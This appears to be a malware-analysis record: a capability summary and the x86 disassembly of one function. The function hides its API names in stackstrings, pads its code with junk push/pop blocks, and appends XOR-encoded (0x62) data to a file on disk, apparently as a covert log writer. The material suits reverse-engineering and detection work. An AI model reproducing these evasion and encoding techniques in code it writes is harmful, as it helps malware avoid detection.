Function at 0x1000b5c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov al, 0x65
push ebx
mov byte [ebp - 0x47], al
mov byte [ebp - 0x44], al
mov al, 0x6c
push esi
push edi
mov byte [ebp - 0x48], 0x6b
mov byte [ebp - 0x46], 0x72
mov byte [ebp - 0x45], 0x6e
mov byte [ebp - 0x43], al
mov byte [ebp - 0x42], 0x33
mov byte [ebp - 0x41], 0x32
mov byte [ebp - 0x40], 0x2e
mov byte [ebp - 0x3f], 0x64
mov byte [ebp - 0x3e], al
mov byte [ebp - 0x3d], al
mov byte [ebp - 0x3c], 0
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov al, 0x65
mov byte [ebp - 0x28], 0x43
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], al
mov byte [ebp - 0x25], 0x61
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], al
mov byte [ebp - 0x22], 0x46
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x1e], 0x41
mov byte [ebp - 0x1d], 0
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov al, 0x65
mov byte [ebp - 0x38], 0x6b
mov byte [ebp - 0x37], al
mov byte [ebp - 0x34], al
mov al, 0x6c
mov byte [ebp - 0x36], 0x72
mov byte [ebp - 0x35], 0x6e
mov byte [ebp - 0x33], al
mov byte [ebp - 0x32], 0x33
mov byte [ebp - 0x31], 0x32
mov byte [ebp - 0x30], 0x2e
mov byte [ebp - 0x2f], 0x64
mov byte [ebp - 0x2e], al
mov byte [ebp - 0x2d], al
mov byte [ebp - 0x2c], 0
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov cl, 0x69
mov al, 0x65
mov byte [ebp - 0x1c], 0x57
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], cl
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], al
mov byte [ebp - 0x17], 0x46
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], al
mov byte [ebp - 0x13], 0
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x38]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
push 0
mov ecx, dword [0x1002336c]
push 0x80
push 4
push 0
push 2
add ecx, 0xd
push 0x40000000
push ecx
call dword [ebp - 8]
mov dword [ebp - 8], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov edx, dword [ebp - 8]
push 0
push edx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
cmp dword [ebp - 0xc], 0x3200000
jae 0x1000b7e7
mov eax, dword [ebp - 8]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov ebx, dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
mov dword [ebp + 8], edi
jle 0x1000b835
mov edx, ebx
mov ecx, edi
sub edx, edi
mov eax, esi
mov bl, byte [edx + ecx]
xor bl, 0x62
mov byte [ecx], bl
inc ecx
dec eax
jne 0x1000b829
lea ecx, [ebp - 4]
push 0
push ecx
push esi
mov esi, dword [ebp - 8]
push edi
push esi
call dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov edx, dword [ebp + 8]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret